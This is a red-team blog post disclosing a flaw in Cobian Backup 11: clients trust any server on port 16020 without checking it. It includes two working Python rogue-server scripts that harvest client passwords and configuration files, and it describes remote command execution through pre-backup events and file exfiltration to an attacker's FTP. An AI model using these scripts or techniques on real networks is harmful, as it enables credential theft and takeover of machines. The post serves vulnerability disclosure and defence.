During a Tarlogic Red Team operation, a serious vulnerability was discovered in Cobian Backup software which exploitation enabled the fact of taking the control over several machines in a corporate network.
Cobian Backup is software aimed at the creation of security copies containing a great variety of options and utilities. In corporate networks, it is developed with a customers’ architecture receiving backup tasks from a master server. Password allocation is necessary in order to connect a customer to the server.
Briefly analyzing the protocol and how the program logic works, several deficiencies could be observed. These ones can be abused by an attacker.
Customer’s connection to the servers
First of all, we create a sniffer in order to analyze the existing traffic between the customer and the server (the service uses 16020 port by default).
At first sight, we can understand some protocol features:
- No encryption is used
- Everything is a readable text (A => 0041) and it is quite clear, what makes understanding easier
- Every information package exchanged uses the character “,” (002C) as data internal separator
- Every package is ended with the line break sequence (000A 000D)
- Customer is polling the server all the time (“REQUESTING” package, it would be a “ping”), and if it does not have any order waiting, the server might answer with a pong in the form of “IDLE”
Other feature that could be noticed quickly is the fact that the customer has never requested any sort of identification or credential to the server. That means, the customer is being connected blindly to the server, enabling an attacker to establish a man-in-the-middle system and seize the server. In order to prove this theory, we create a mini server en python imitating the observed behavior in Cobian Backup:
# Cobian Backup 11 import socket import signal import sys from thread import * def signal_handler(signal, frame): print('You pressed Ctrl+C!') sys.exit(0) signal.signal(signal.SIGINT, signal_handler) ###### Socket data host = '' port = 16020 #Default ###### Server Packets idle = "490044004c0045002c002c000d000a00" password_ok = "500041005300530057004f00520044005f004f004b002c002c000d000a00" ###### Main sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.bind((host, port)) except socket.error as msg: print "Error: " + str(msg) + " - " + msg sys.exit(1) sock.listen(10) while 1: conn, addr = sock.accept() print "[+] New client connected from " + addr # 1) El cliente nos manda su password data = conn.recv(1024).split(",") print " -> Machine: " + data print " -> Encrypted Password:\n" + data # 2) Le respondemos que la password es valida conn.send(password_ok.decode("hex")) # 3) Bucle de ping-pong para mantener conectado el cliente while 1: ping = conn.recv(1024) conn.send(idle.decode("hex"))
Then, it is observed how the plan has worked properly. The customer has sent the encrypted server password –although having a look diagonally and making a couple of greps to old versions source code, it seems that this is a reversible function- and additionally, the customer is kept connected until the connection is closed thanks to answering the pings.
Interacting with customers
Given the fact that it is proven that we can spoof the master server, the next concern that has to be solved is the following: Could we also execute actions in customers? Let’s take as an example the action of seeing configuration.
Following our theory, if we send a GET_OPTIONS whenever a REQUESTING package is sent, the customer’s configuration file (cbEngine.ini) should be sent back.
# Cobian Backup 11 import socket import signal import sys from thread import * def signal_handler(signal, frame): print('You pressed Ctrl+C!') sys.exit(0) signal.signal(signal.SIGINT, signal_handler) ###### Socket data host = '' port = 16020 #Default ###### Server Packets idle = "490044004c0045002c002c000d000a00" password_ok = "500041005300530057004f00520044005f004f004b002c002c000d000a00" get_options = "4700450054005f004f005000540049004f004e0053002c002c000d000a00" ###### Main sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.bind((host, port)) except socket.error as msg: print "Error: " + str(msg) + " - " + msg sys.exit(1) sock.listen(10) while 1: conn, addr = sock.accept() print "[+] New client connected from " + addr # 1) El cliente nos manda su password data = conn.recv(1024).split(",") print " -> Machine: " + data print " -> Encrypted Password:\n" + data # 2) Le respondemos que la password es valida conn.send(password_ok.decode("hex")) # 3) El cliente nos manda su REQUESTING ping = conn.recv(1024) # 4) Nosotros le enviamos el "comando" GET_OPTIONS conn.send(get_options.decode("hex")) # 5) El cliente ahora nos deberia de devolver el contenido de su cbEngine.ini data = conn.recv(7000) print " -> Config:" # Recordemos que utiliza "," como separador de datos: config = data.split(",") for x in config[1:]: print x conn.close()
Whenever a customer is connected to us, the configuration is sent back:
On the other hand, please observe below customer’s logs:
Even though, obtaining the configuration is interesting since important FTP, domain, mail, etc. accounts may appear in order to carry out a penetration test; we want something even more conclusive.
Commands remote execution in Cobian Backup
From the master server control panel we can automatize the creation of “tasks” responsible for generating a backup according to the indicated configuration. Tasks are sent to the designated customer in the form of a template including different values –those values are the ones we have already allocated from the interface. Created tasks are stored in the DB folder. Please, find below an example of a task created from the server:
The amount of parameters is huge, highlighting the possibility of quickly configuring as destination an external FTP. For example, we could use Cobian Backup to exfiltrate sensitive files through executing a task where one of our FTP is allocated as security copy destination. This is without doubt an attractive possibility. However, when analyzing the rest of configuring parameters we discover an even more interesting fact: pre and post backup events.
Reading Cobian Backup support forum, we could see that these parameters enable, among other things, the possibility of executing external programs before and after doing a backup. Therefore, they provide the possibility of executing commands remotely in every customer.
Once again, we follow the same working model. Therefore, we create the task manually in the server in order to intercept the traffic with a sniffer. Later, we will analyze the task and try to implement it in a script in python.
As it can be observed, an update_list action is sent together with task parameters including name. In case we want to add a new task in order to execute our command through the events, we should copy the sample task and add the following:
This parameter will open a window with cmd in the customer whenever this task is executed (this information could be read in Cobian Backup support forum). And, how do we indicate that we want the newly created task to be executed?
Using “BACKUP_SELECTED”, we indicate the task name (which has been allocated in the previous phase when creating the task) we want to be executed. This small protocol abuse used by Cobian Backup is explained in this script in python.
In case we test it:
In the customer, it could be seen how a cmd window has emerged indicating that the program has been executed successfully:
One of the most important Tarlogic Red Team features is our full-time commitment in order to search vulnerabilities in software used by our customers. This results in the discovery of 0-days in many occasions. Some of the results which may seem more interesting will be included in this blog (as this post, or such as we have already done with the XSS Worm in an elder version of Tempobox OpenText, and some others will be only reported (such as vulnerabilities found in AeroAdmin and used during a pentest).
It has to be always taken into account the possibility that an attacker may use non-published vulnerabilities to compromise a machine. It is in this point where the measures implemented during the hardening should make lateral movement difficult in privilege escalation.